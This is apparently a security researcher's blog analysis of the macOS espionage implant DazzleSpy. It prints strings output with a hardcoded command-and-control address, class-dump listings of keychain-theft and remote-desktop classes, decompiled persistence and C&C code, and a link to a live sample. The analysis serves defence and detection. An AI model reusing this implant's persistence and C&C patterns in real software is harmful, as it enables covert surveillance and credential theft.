# Objective-See's Blog **objective-see.com/blog/blog_0x6D.html** Analyzing OSX.DazzleSpy A fully-featured cyber-espionage macOS implant by: Patrick Wardle / January 25, 2022 šŸ“ šŸ‘¾ Want to play along? [I’ve uploaded an OSX.DazzleSpy sample (password: infect3d) to our macOS malware](https://objective-see.com/downloads/malware/DazzleSpy.zip) collection. ...please don’t infect yourself! ## Background [Recently (as in this morning), researchers Marc-Etienne M.LĆ©veillĆ© and](https://twitter.com/marc_etienne_) [Anton Cherepanov](https://twitter.com/cherepanov74) of ESET published an intriguing report titled, ā€œWatering hole deploys new macOS malware, DazzleSpy, in Asiaā€: In this excellent report, they detail both the exploit and macOS payload used to target prodemocracy users in Hong Kong: ----- _[A] Hong Kong pro-democracy radio station website [was] compromised to serve a_ _Safari exploit that installed cyberespionage malware on site visitors' Macs. Here we_ _provide a breakdown of the WebKit exploit used to compromise Mac users and an_ _analysis of the payload, which is a new malware family targeting macOS." -ESET_ I was interested in digging a bit deeper into the macOS implant, as well as seeing how it stacked up against Objective-See’s [free open-source tools.](https://objective-see.com/products.html) šŸ“š Interested in general Mac malware analysis techniques? You're in luck, as I've written an entire (free) book on this very topic: [The Art Of Mac Malware, Vol. 0x1: Analysis](https://taomm.org/) ## Triage ESET’s report provided a hash for the decrypted macOS implant, `OSX.DazzleSpy :` ``` EE0678E58868EBD6603CC2E06A134680D2012C1B ``` They noted that this file is dropped by the Safari exploit (and persisted on disk as ``` softwareupdate ). ``` ----- Popping over to VirusTotal, we can grab a copy of DazzleSpy: DazzleSpy ...on VirusTotal It was first submitted to VirusTotal on `2022-01-26 and at that time, only detected by ESET.` Using macOS’ built-in `file utility, we can see that this item is a standard mach-O binary:` ``` % file DazzleSpy/softwareupdate softwareupdate: Mach-O 64-bit executable x86_64 ``` As its not compiled for arm64, it will not run natively on Apple’s new M1 chips. Of course, thanks to Rosetta2 (Apple’s intel -> arm ā€œtranslatorā€), the malware will still likely run on such systems. [Via WhatsYourSign, my open-source utility that displays code-signing information via the UI,](https://objective-see.com/products/whatsyoursign.html) we can see that the malware is unsigned: ----- DazzleSpy ...is unsigned The ESET report, notes that the exploit will "remove the com.apple.quarantineattribute from the file [malware] to avoid [macOS] asking the user to confirm the launch of the unsigned executable" Now let’s run the `strings utility to extracted any embedded (ASCII) strings:` ----- ``` % strings DazzleSpy/softwareupdate ... networksetup -listallhardwareports /Library/.local csrutil status System Integrity Protection status: disabled. IOPlatformUUID IOPlatformSerialNumber ProductVersion Asia/Shanghai ... 88.218.192.128:5633 ... %@/.local %@/softwareupdate %@/Library/LaunchAgents /com.apple.softwareupdate.plist launchctl unload %@ RunAtLoad KeepAlive dumpKeychain .local/security/keystealDaemon docx xltx pptx ... pages numbers text %@/.local/SearchFiles +[Singleton installDaemon] -[Singleton shellClass] -[Singleton processClass] -[Singleton keychainClass] -[Singleton remoteDesktopClass] -[Singleton updateClass] -[Singleton fileClass] -[Singleton fileClassWriteData:] -[Singleton recoveryClass] /Users/wangping/pangu/create_source/poke/osxrk_commandLine/exec.m /Users/wangping/pangu/create_source/poke/osxrk_commandLine/exec.o ... ``` The output from `strings is rather telling and includes:` ----- What appears to be survey API calls and strings: `listallhardwareports,` ``` IOPlatformSerialNumber, etc. ``` An embedded address, `88.218.192.128:5633 likely the malware’s C&C server.` Strings related to launch item persistence: `%@/Library/LaunchAgents,` ``` /com.apple.softwareupdate.plist, RunAtLoad, etc. ``` Strings that appear to be related to dumping the user keychain, searching for files (via extension), etc. etc. Objective-C class and method names (such as a `Singleton class with references to` other interesting classes). Paths containing a user name, and perhaps the internal name of the malware ( osxrk ). We can also run macOS’ `otool command with the` `-L flag to determine the dynamic` libraries that DazzleSpy is linked against: ``` % otool -L DazzleSpy/softwareupdate softwareupdate: /System/Library/Frameworks/VideoToolbox.framework/Versions/A/VideoToolbox /System/Library/Frameworks/AVFoundation.framework/Versions/A/AVFoundation /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit /System/Library/Frameworks/CoreWLAN.framework/Versions/A/CoreWLAN ... /System/Library/Frameworks/CFNetwork.framework/Versions/A/CFNetwork /System/Library/Frameworks/CoreMedia.framework/Versions/A/CoreMedia /System/Library/Frameworks/Security.framework/Versions/A/Security /System/Library/Frameworks/CoreVideo.framework/Versions/A/CoreVideo ``` Based on the linked libraries, we can gain some likely insight into the malware’s capabilities. For example, it links again the `AVFoundation framework to implement remote desktop` (RDP) capabilities. Finally, as we saw various Objective-C classes and methods names in the output from ``` strings, lets run reconstruct these via class-dump. Abridged output is below: ``` ----- ``` % class dump DazzleSpy/softwareupdate ... @interface Exec : NSObject { } + (id)doShellInCmd:(id)arg1; @end @interface Singleton : NSObject { ... } + (void)installDaemon; ... @end @interface FileSearchClassObject : NSObject { NSTask *_searchTask; NSMutableString *_searchString; NSDictionary *_searchDict; ... } ... - (void)searchFile:(id)arg1; ... @end @interface RemoteDesktopClassObject : NSObject { AVCaptureSession *captureSession; AVCaptureConnection *connectionVideo; H264EncodeTool *_h264Encoder; MouseClassObject *_mouse; } ... - (void)restartRDP; - (void)mouseEventDict:(id)arg1; - (void)stopRemoteDesktop; - (void)startRemoteDesktop:(CDUnknownBlockType)arg1; - (void)captureOutput:(id)arg1 didOutputSampleBuffer:(struct opaqueCMSampleBuffer *)arg2 fromConnection:(id)arg3; @end @interface KeychainClassObject : NSObject { } + (void)unzipFile:(id)arg1 toPath:(id)arg2; - (id)getPasswordFromSecKeychainItemRef:(struct __SecKeychainItem *)arg1; - (id)getPass:(id)arg1 cmdTo:(id)arg2; ``` ----- ``` ... @end ``` Simply from these class and method names, we can gain significant insight into the malware’s likely capabilities. Of course, we should confirm that the class/method names do indeed match their logic. For example, does the `installDaemon really persist the` malware? …let’s find out! ## Persistence The ESET researchers noted: "In order to persist on the compromised device, the malware adds a Property List file ... _named com.apple.softwareupdate.plist to the LaunchAgents folder. The malware_ _executable file is named softwareupdate and saved in the $HOME/.local/ folder." -_ ESET Recall that from the `strings output, we saw strings such as` `%@/Library/LaunchAgents` and `com.apple.softwareupdate.plist .` In a disassembler, we find cross-references to these strings in the aforementioned ``` installDaemon method (of the class named Singleton ): 1/* @class Singleton */ 2+(void)installDaemon { 3... 4 5rax = NSHomeDirectory(); 6var_78 = [NSString stringWithFormat:@"%@/Library/LaunchAgents", rax]; 7var_80 = [var_78 stringByAppendingFormat:@"/com.apple.softwareupdate.plist"]; 8if ([var_70 fileExistsAtPath:var_78] == 0x0) { 9 [var_70 createDirectoryAtPath:var_78 withIntermediateDirectories:0x1 ...]; 10... 11 12var_90 = [[NSMutableDictionary alloc] init]; 13var_98 = [[NSMutableArray alloc] init]; 14[var_98 addObject:var_38]; 15[var_98 addObject:@"1"]; 16rax = @(YES); 17[var_90 setObject:rax forKey:@"RunAtLoad"]; 18rax = @(YES); 19[var_90 setObject:rax forKey:@"KeepAlive"]; 20rax = @(YES); 21[var_90 setObject:rax forKey:@"SuccessfulExit"]; 22[var_90 setObject:@"com.apple.softwareupdate" forKey:@"Label"]; 23[var_90 setObject:var_98 forKey:@"ProgramArguments"]; 24 25[var_90 writeToFile:var_80 atomically:0x0]; ``` ----- In the above decompilation, we first see the malware build the path to a launch agent plist ( ~/Library/LaunchAgents/com.apple.softwareupdate.plist ). Then, it initializes a dictionary for the launch agent plist, with various key value pairs ( RunAtLoad, etc). Once initialized this dictionary is written out to the launch agent plist ( com.apple.softwareupdate.plist ). We can passively observe the malware (recall, named `softwareupdate ) dynamically` [creating this plist via a File Monitor:](https://objective-see.com/products/utilities.html#FileMonitor) ``` # FileMonitor.app/Contents/MacOS/FileMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/Library/LaunchAgents/com.apple.softwareupdate.plist", "process" : { "signing info (computed)" : { "signatureStatus" : -67062 }, "uid" : 501, "arguments" : [ "/Users/user/Desktop/softwareupdate" ], "path" : "/Users/user/Desktop/softwareupdate", "pid" : 1469 } } } ``` Once the malware’s launch agent’s plist has been created, we can easily dump its contents: ----- ``` % cat /Users/user/Library/LaunchAgents/com.apple.softwareupdate.plist KeepAlive Label com.apple.softwareupdate ProgramArguments /Users/user/.local/softwareupdate 1 RunAtLoad SuccessfulExit ``` In the `ProgramArguments key we can see the path to the persistent location of the` malware: `~/.local/softwareupdate . Also, as the` `RunAtLoad key is set to` `true, the` malware will be automatically restarted each time the user logs in. Persistence achieved! ## C&C Communications and Capabilities The ESET [report notes that the malware will connect to](https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/) `88.218.192.128 on port` `5633 :` "DazzleSpy connects to a hardcoded C&C server; the IP address and port found in the _sample we decrypted was 88.218.192[.]128:5633." -ESET_ Recall that we saw this ip address/port in the output of `strings, meaning that it is directly` hardcoded into the malware. In a disassembler, we can see it is referenced in the malware’s ``` main method: ``` ----- ``` 1int _main(int arg0, int arg1) { 2 ... 3 commandAndControl = [[NSString alloc] initWithUTF8String:"88.218.192.128:5633"]; 4 5 6 singleton = [Singleton sharedInstance]; 7 8 var_40 = [commandAndControl componentsSeparatedByString:@":"]; 9 if ([var_40 count] == 0x2) { 10 ip = [var_40 objectAtIndexedSubscript:0x0]; 11 port = [var_40 objectAtIndexedSubscript:0x1]; 12 } 13 14 [singleton setSocketHost:ip]; 15 [singleton setSocketPort:port]; 16 17 ... ``` Specifically the hardcoded ip address and port string is first split (on `: ), and then the ip` address is passed to the `setSocketHost: method, while the port, to the` ``` setSocketPort: method. ``` The ESET [report also describes the tasking (remote) commands that DazzleSpy supports.](https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/) This includes everything you’d expect to find in a cyber-espionage implant, including surveying the infected host, exfiltrating files, running commands, self-deletion. Interestingly, the malware (again, as noted by ESET), also supports more advanced features such as: The ability to search for files (via regex?) The ability to start fully interactive remote desktop (RDP) session The ability to dump the keychain (on systems vulnerable to `CVE-2019-8526 ).` CVE-2019-8526 was found by Linus Henze, and presented at our very own #OBTS v2.0. See: [KeySteal: A Vulnerability in Apple's Keychain](https://objectivebythesea.com/v2/talks/OBTS_v2_Henze.pdf) The handling of remote commands (tasking) seems to be implemented in the ``` analysisData: Socket: method. Here the malware looks for tasking commands from the ``` command and control server, and then acts upon them. For example, here’s the decompilation of the `run command, which opens (ā€œrunsā€) a specified file (ā€œpathā€) via its` default handler (via `NSWorkspace ’s’` `openFile API):` ----- ``` 1if (YES [command isEqualToString:@ run ]) { 2 path = [var_888 objectForKeyedSubscript:@"path"]; 3 ... 4 [NSWorkspace.sharedWorkspace openFile:path]; 5} DazzleSpy vs. Objective-See ``` Whenever a new piece of malware is uncovered I like to see how Objective-See’s free opensource tools stack up. Good news (and no really no surprise) they are able to detect and thus thwart this new threat, even with no a priori knowledge of it! šŸ˜ Recall that when the malware was uploaded to VirusTotal (by ESET?), ESET was the only AV engine to detect it! First, [BlockBlock detects the malware’s launch agent persistence](https://objective-see.com/products/blockblock.html) ( com.apple.softwareupdate.plist ): BlockBlock alert [LuLu, our free, open-source firewall detects when the malware attempts to connect out to its](https://objective-see.com/products/lulu.html) command and control server ( 88.218.192.128 ) for tasking: ----- LuLu alert [And if you’re worried that you are already infected, KnockKnock can uncover the malware’s](https://objective-see.com/products/knockknock.html) persistence (after the fact): KnockKnock detection ## Conclusions In this blog post, we dove into `OSX.DazzleSpy a rather feature complete cyber-espionage` macOS implant (discovered by ESET). ----- Specifically we discussed: How to triage the sample How the malware persisted The malware’s remote tasking/capabilities. Finally, we showed that if you were running Objective-See’s free macOS tools the malware wouldn’t have stood a chance! 😁 Mahalo again to Marc-Etienne and Anton for their excellent report! ļæ½ ## šŸ’• Support Me: [Love these blog posts? You can support them via my Patreon page!](https://www.patreon.com/bePatron?c=701171) This website uses cookies to improve your experience. -----